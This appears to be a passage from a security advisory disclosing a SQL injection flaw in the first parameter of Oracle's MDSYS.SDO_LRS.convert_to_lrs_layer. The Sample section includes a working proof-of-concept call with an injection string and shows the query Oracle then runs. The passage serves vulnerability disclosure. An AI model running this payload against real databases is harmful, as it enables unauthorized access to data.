Details
#######
The package MDSYS.SDO_LRS contains a SQL injection vulnerability in the
first parameter of convert_to_lrs_layer. Oracle forgot to fix this problem
with the April CPU. Oracle fixed these vulnerabilities with the package
DBMS_ASSERT. To exploit this vulnerability it is necessary to have the
privilege to create a PL/SQL-function.


Sample
######
After running the following SQL statement
   select sdo_lrs.convert_to_lrs_layer('"'' or 5=5--''"','RDS','A',1,1,1,1)
from dual;

The following SQL statement will be executed by Oracle:
 
  SELECT COUNT(*) FROM USER_SDO_INDEX_INFO WHERE TABLE_NAME = '"' OR
5=5--'"' AND COLUMN_NAME = 'RDS'
